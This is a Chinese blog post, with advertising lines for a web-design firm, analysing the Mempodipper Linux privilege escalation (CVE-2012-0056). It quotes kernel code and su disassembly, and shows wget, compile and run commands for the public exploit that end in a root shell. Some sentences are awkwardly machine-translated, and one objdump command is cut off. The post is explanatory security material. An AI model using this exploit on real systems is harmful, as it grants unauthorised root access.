十年網(wǎng)站開(kāi)發(fā)經(jīng)驗(yàn) + 多家企業(yè)客戶(hù) + 靠譜的建站團(tuán)隊(duì)
量身定制 + 運(yùn)營(yíng)維護(hù)+專(zhuān)業(yè)推廣+無(wú)憂(yōu)售后,網(wǎng)站問(wèn)題一站解決
這篇文章主要介紹Linux中本地提權(quán)和EXP利用的示例分析,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!
創(chuàng)新互聯(lián)建站是專(zhuān)業(yè)的新林網(wǎng)站建設(shè)公司,新林接單;提供做網(wǎng)站、網(wǎng)站設(shè)計(jì),網(wǎng)頁(yè)設(shè)計(jì),網(wǎng)站設(shè)計(jì),建網(wǎng)站,PHP網(wǎng)站建設(shè)等專(zhuān)業(yè)做網(wǎng)站服務(wù);采用PHP框架,可快速的進(jìn)行新林網(wǎng)站開(kāi)發(fā)網(wǎng)頁(yè)制作和功能擴(kuò)展;專(zhuān)業(yè)做搜索引擎喜愛(ài)的網(wǎng)站,專(zhuān)業(yè)的做網(wǎng)站團(tuán)隊(duì),希望更多企業(yè)前來(lái)合作!
Linux>=2.6.39 Mempodipper本地提權(quán)分析和EXP利用(CVE-2012-0056)
/proc/pid/mem是一個(gè)用于讀取和寫(xiě)入,直接通過(guò)各地尋求與相同的地址作為該進(jìn)程的虛擬內(nèi)存空間進(jìn)程內(nèi)存的接口。
影響Linux 內(nèi)核> = 2.6.39
當(dāng)打開(kāi)/proc/pid/mem時(shí),會(huì)調(diào)用此內(nèi)核代碼:
代碼如下:
static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}
任何人都可以打開(kāi)/proc/pid/mem fd 的任何進(jìn)程寫(xiě)入 和讀取,不過(guò),有權(quán)限檢查限制。讓我們看看寫(xiě)功能:
代碼如下:
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
看代碼有兩個(gè)檢查,以防止未經(jīng)授權(quán)的寫(xiě)操作:
代碼如下:
check_mem_permission和self_exec_id。
Check_mem_permission的代碼只需調(diào)用到__check_mem_permission,代碼:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
if (task == current)
return mm;
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
mmput(mm);
return ERR_PTR(-EPERM);
}
有兩種方法能對(duì)內(nèi)存寫(xiě)入。
代碼如下:
$ su "hsmw fuck you"
Unknown id: hsmw fuck you
可以看到su的stderr 的輸出“Unknown id:”,我們可以fd 打開(kāi)/proc/self/mem, 來(lái)確定在內(nèi)存中的位置, 然后dup2 stderr 和mem fd, 把su $shellcode 寫(xiě)入到內(nèi)存中,獲得root.
已task == current測(cè)試, 用self_exec_id 匹配self_exec_id 來(lái)檢測(cè)fd 的打開(kāi)。
Self_exec_id在內(nèi)核中只引用的少數(shù)幾個(gè)地方。
void setup_new_exec(struct linux_binprm * bprm)
{
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);
我們創(chuàng)建一個(gè)子進(jìn)程,用self_exec_id來(lái)exec 到一個(gè)新的進(jìn)程里面。當(dāng)我們exec一個(gè)新的進(jìn)程,self_exec_id會(huì)產(chǎn)生一個(gè)增量。這里程序忙與execing到我們的shellcode寫(xiě)su,所以其self_exec_id得到 相同的值遞增。所以我們要做的是把exec一個(gè)新的進(jìn)程,fd /proc/parent-pid/mem 到父進(jìn)程的PID。這個(gè)時(shí)候的FD是因?yàn)闆](méi)有權(quán)限僅僅打開(kāi)檢查。當(dāng)它被打開(kāi),其self_exec_id來(lái)時(shí)起作用,把我們exec來(lái)su,用self_exec_id將遞增。通過(guò)我們打開(kāi)的FD從子進(jìn)程返回父進(jìn)程,dup2,和exec 溢出代碼到su.
接下來(lái)調(diào)試溢出的地址和ASLR隨機(jī)進(jìn)程的空間地址。
在這里得到錯(cuò)誤字符串:
403677: ba 05 00 00 00 mov $0x5,%edx
40367c: be ff 64 40 00 mov $0x4064ff,%esi
403681: 31 ff xor %edi,%edi
403683: e8 e0 ed ff ff callq 402468 (dcgettext@plt)
然后把它寫(xiě)入到stderr:
403688: 48 8b 3d 59 51 20 00 mov 0x205159(%rip),%rdi # 6087e8 (stderr)
40368f: 48 89 c2 mov %rax,%rdx
403692: b9 20 88 60 00 mov $0x608820,%ecx
403697: be 01 00 00 00 mov $0x1,%esi
40369c: 31 c0 xor %eax,%eax
40369e: e8 75 ea ff ff callq 402118 (__fprintf_chk@plt)
關(guān)閉日志;
4036a3: e8 f0 eb ff ff callq 402298 (closelog@plt)
退出程序;
4036a8: bf 01 00 00 00 mov $0x1,%edi
4036ad: e8 c6 ea ff ff callq 402178 (exit@plt)
這里可以看到0×402178,這是它調(diào)用exit函數(shù)。我們來(lái)調(diào)試“Unknown id:" 的shellcode地址。
$objdump -d /bin/su|grep '
它會(huì)設(shè)置uid 和gid 為0 去執(zhí)行一個(gè)SHELL。還可以重新打開(kāi)dup2ing 內(nèi)存之前,stderr fd 到stderr,
我們選擇另一個(gè)fd dup stderr,在shellcode,到我們dup2 ,其他fd回來(lái)到stderr。
EXP 老外寫(xiě)好了。插入一段
代碼如下:
wget http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#
以上是“Linux中本地提權(quán)和EXP利用的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!